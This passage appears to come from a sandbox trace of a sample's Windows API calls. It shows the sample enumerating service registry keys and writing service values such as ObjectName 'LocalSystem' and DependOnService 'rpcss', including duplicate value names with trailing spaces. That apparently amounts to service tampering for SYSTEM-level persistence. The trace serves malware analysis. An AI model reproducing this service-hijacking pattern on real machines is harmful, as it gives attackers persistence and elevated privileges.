out: lpName="isapnp") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0255.328] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0255.329] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0255.330] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0255.331] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0255.331] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0255.331] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0255.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0255.331] RegCloseKey (hKey=0x148) returned 0x0 [0255.331] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0255.331] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0255.331] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0255.331] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0255.331] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0255.331] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0255.331] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0255.331] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0255.332] RegCloseKey (hKey=0x80000002) returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0255.332] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.332] RegCloseKey (hKey=0x14c) returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0255.332] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0255.333] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0255.333] RegCloseKey (hKey=0x148) returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0255.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0255.334] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0255.334] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.334] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.334] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.334] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.334] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.334] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.334] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.334] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.335] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.335] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.335] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.335] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.335] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.335] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.335] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.335] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.335] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0255.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0255.335] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0255.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.336] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.337] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0255.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0255.337] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0255.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.337] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.338] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.338] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0255.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0255.339] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, 